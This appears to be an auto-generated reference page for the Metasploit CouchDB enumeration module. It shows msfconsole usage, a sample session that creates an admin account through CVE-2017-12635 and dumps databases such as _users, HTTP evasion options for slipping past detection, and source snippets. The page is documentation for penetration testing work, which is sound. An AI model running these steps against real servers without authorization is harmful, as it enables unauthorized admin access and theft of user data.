CouchDB Enum Utility - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/couchdb/couchdb_enum metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: CouchDB Enum Utility
Module: auxiliary/scanner/couchdb/couchdb_enum
Source code: modules/auxiliary/scanner/couchdb/couchdb_enum.rb
Disclosure date: -
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5984, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-12635

This module enumerates databases on CouchDB using the REST API (without authentication by default).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/scanner/couchdb/couchdb_enum
msf auxiliary(couchdb_enum) > show targets
    ... a list of targets ...
msf auxiliary(couchdb_enum) > set TARGET target-id
msf auxiliary(couchdb_enum) > show options
    ... show and set options ...
msf auxiliary(couchdb_enum) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.

The following was done on Ubuntu 16.04, and is largely base on 1and1.com:

  1. sudo apt install software-properties-common
  2. sudo add-apt-repository ppa:couchdb/stable
  3. sudo apt update
  4. sudo apt install couchdb
  5. Reconfigure couchdb to listen to all interfaces. Edit /etc/couchdb/local.ini. Under [httpd] add the following line: bind_address = 0.0.0.0
  6. Restart the service: sudo service couchdb restart

Verification Steps


  1. Install and configure couchdb
  2. Start msfconsole
  3. Do: auxiliary/scanner/couchdb/couchdb_enum
  4. Do: run

Options


SERVERINFO

If set to true, the server info will also enumerated and set in msf's DB. Defaults to false.

CREATEUSER

If set to true, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to false.

Scenarios


Dumping databases with SERVERINFO and CREATEUSER set:

msf5 > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > options

Module options (auxiliary/scanner/couchdb/couchdb_enum):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CREATEUSER    false            yes       Create Administrative user
   HttpPassword  IJvoGDWAWzQo     yes       CouchDB Password
   HttpUsername  CQuXQnVwQAow     yes       CouchDB Username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target address range or CIDR identifier
   ROLES         _admin           yes       CouchDB Roles
   RPORT         5984             yes       The target port (TCP)
   SERVERINFO    false            yes       Print server info
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /_all_dbs        yes       Path to list all the databases
   VHOST                          no        HTTP server virtual host

msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true
serverinfo => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true
createuser => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > check

[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
[*] 127.0.0.1:5984 - The target appears to be vulnerable.
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run

[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login.
[+] 127.0.0.1:5984 - {
  "couchdb": "Welcome",
  "version": "2.1.0",
  "features": [
    "scheduler"
  ],
  "vendor": {
    "name": "The Apache Software Foundation"
  }
}
[*] 127.0.0.1:5984 - Enumerating Databases...
[+] 127.0.0.1:5984 - Databases:

[
  "_global_changes",
  "_replicator",
  "_users"
]

[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin
[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin
[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin
[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/couchdb/couchdb_enum) >

Go back to menu.

Msfconsole Usage


Here is how the scanner/couchdb/couchdb_enum auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/couchdb/couchdb_enum

msf6 auxiliary(scanner/couchdb/couchdb_enum) > show info

       Name: CouchDB Enum Utility
     Module: auxiliary/scanner/couchdb/couchdb_enum
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Max Justicz
  Roberto Soares Espreto <[email protected]>
  Hendrik Van Belleghem
  Green-m <[email protected]>

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CREATEUSER    false            yes       Create Administrative user
  HttpPassword  SPDtceExeCHA     yes       CouchDB Password
  HttpUsername  eGDhqISuBzNL     yes       CouchDB Username
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  ROLES         _admin           yes       CouchDB Roles
  RPORT         5984             yes       The target port (TCP)
  SERVERINFO    false            yes       Print server info
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /_all_dbs        yes       Path to list all the databases
  VHOST                          no        HTTP server virtual host

Description:
  This module enumerates databases on CouchDB using the REST API 
  (without authentication by default).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-12635
  https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
  https://wiki.apache.org/couchdb/HTTP_database_API

Module Options


This is a complete list of options available in the scanner/couchdb/couchdb_enum auxiliary module:

msf6 auxiliary(scanner/couchdb/couchdb_enum) > show options

Module options (auxiliary/scanner/couchdb/couchdb_enum):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CREATEUSER    false            yes       Create Administrative user
   HttpPassword  SPDtceExeCHA     yes       CouchDB Password
   HttpUsername  eGDhqISuBzNL     yes       CouchDB Username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   ROLES         _admin           yes       CouchDB Roles
   RPORT         5984             yes       The target port (TCP)
   SERVERINFO    false            yes       Print server info
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /_all_dbs        yes       Path to list all the databases
   VHOST                          no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/couchdb/couchdb_enum auxiliary module:

msf6 auxiliary(scanner/couchdb/couchdb_enum) > show advanced

Module advanced options (auxiliary/scanner/couchdb/couchdb_enum):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/couchdb/couchdb_enum module can do:

msf6 auxiliary(scanner/couchdb/couchdb_enum) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/couchdb/couchdb_enum auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/couchdb/couchdb_enum) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Connection failed


Here is a relevant code snippet related to the "<PEER> - Connection failed" error message:

54:	      res = send_request_cgi(
55:	        'uri'    => '/',
56:	        'method' => 'GET'
57:	      )
58:	    rescue Rex::ConnectionError
59:	      vprint_bad("#{peer} - Connection failed")
60:	      return false
61:	    end
62:	
63:	    unless res
64:	      vprint_bad("#{peer} - No response, check if it is CouchDB.")

<PEER> - No response, check if it is CouchDB.


Here is a relevant code snippet related to the "<PEER> - No response, check if it is CouchDB." error message:

59:	      vprint_bad("#{peer} - Connection failed")
60:	      return false
61:	    end
62:	
63:	    unless res
64:	      vprint_bad("#{peer} - No response, check if it is CouchDB.")
65:	      return false
66:	    end
67:	
68:	    if res && res.code == 401
69:	      print_bad("#{peer} - Authentication required.")

<PEER> - Authentication required.


Here is a relevant code snippet related to the "<PEER> - Authentication required." error message:

64:	      vprint_bad("#{peer} - No response, check if it is CouchDB.")
65:	      return false
66:	    end
67:	
68:	    if res && res.code == 401
69:	      print_bad("#{peer} - Authentication required.")
70:	      return false
71:	    end
72:	
73:	    if res && res.code == 200
74:	      res_json = res.get_json_document

<PEER> - Cannot parse the response, seems like it's not CouchDB.


Here is a relevant code snippet related to the "<PEER> - Cannot parse the response, seems like it's not CouchDB." error message:

72:	
73:	    if res && res.code == 200
74:	      res_json = res.get_json_document
75:	
76:	      if res_json.empty?
77:	        vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
78:	        return false
79:	      end
80:	
81:	      @version = res_json['version'] if res_json['version']
82:	      return true

<PEER> - Version not found


Here is a relevant code snippet related to the "<PEER> - Version not found" error message:

80:	
81:	      @version = res_json['version'] if res_json['version']
82:	      return true
83:	    end
84:	
85:	    vprint_warning("#{peer} - Version not found")
86:	    true
87:	  end
88:	
89:	  def check
90:	    return Exploit::CheckCode::Unknown unless get_version

<PEER> - The following Error was encountered: <E.CLASS>


Here is a relevant code snippet related to the "<PEER> - The following Error was encountered: <E.CLASS>" error message:

104:	        'method' => 'GET'
105:	      )
106:	
107:	      temp = JSON.parse(res.body)
108:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
109:	      print_error("#{peer} - The following Error was encountered: #{e.class}")
110:	      return
111:	    end
112:	
113:	    unless valid_response(res)
114:	      print_error("#{peer} - Unable to enum, received \"#{res.code}\"")

<PEER> - Unable to enum, received "<RES.CODE>"


Here is a relevant code snippet related to the "<PEER> - Unable to enum, received "<RES.CODE>"" error message:

109:	      print_error("#{peer} - The following Error was encountered: #{e.class}")
110:	      return
111:	    end
112:	
113:	    unless valid_response(res)
114:	      print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
115:	      return
116:	    end
117:	
118:	    print_status("#{peer} - Enumerating Databases...")
119:	    results = JSON.pretty_generate(temp)

<PEER> - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.


Here is a relevant code snippet related to the "<PEER> - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning." error message:

133:	        'method'=> 'GET',
134:	        'authorization' => auth,
135:	        'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
136:	       )
137:	       if r.code != 200
138:	         print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
139:	         return
140:	       end
141:	       temp = JSON.parse(r.body)
142:	       results = JSON.pretty_generate(temp)
143:	       path = store_loot(

<PEER> - The following Error was encountered: <E.CLASS>


Here is a relevant code snippet related to the "<PEER> - The following Error was encountered: <E.CLASS>" error message:

158:	        'method' => 'GET'
159:	      )
160:	
161:	      temp = JSON.parse(res.body)
162:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
163:	      print_error("#{peer} - The following Error was encountered: #{e.class}")
164:	      return
165:	    end
166:	
167:	    unless valid_response(res)
168:	      print_error("#{peer} - Unable to enum, received \"#{res.code}\"")

<PEER> - Unable to enum, received "<RES.CODE>"


Here is a relevant code snippet related to the "<PEER> - Unable to enum, received "<RES.CODE>"" error message:

163:	      print_error("#{peer} - The following Error was encountered: #{e.class}")
164:	      return
165:	    end
166:	
167:	    unless valid_response(res)
168:	      print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
169:	      return
170:	    end
171:	
172:	    # Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
173:	

<PEER> - Change Failed


Here is a relevant code snippet related to the "<PEER> - Change Failed" error message:

201:	      'ctype'  => 'text/json',
202:	      'data'   => data,
203:	    }, timeout)
204:	
205:	    unless res && res.code == 200
206:	      print_error("#{peer} - Change Failed")
207:	      return
208:	    end
209:	
210:	    print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
211:	  end

get_version failed in run


Here is a relevant code snippet related to the "get_version failed in run" error message:

213:	  def run
214:	    username = datastore['HttpUsername']
215:	    password = datastore['HttpPassword']
216:	
217:	    if datastore['CREATEUSER']
218:	      fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
219:	      version = Rex::Version.new(@version)
220:	      print_good("#{peer} - Found CouchDB version #{version}")
221:	      create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
222:	    end
223:	    auth = basic_auth(username, password) if username && password

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Max Justicz
  • Roberto Soares Espreto <robertoespreto[at]gmail.com>
  • Hendrik Van Belleghem
  • Green-m <greenm.xxoo[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.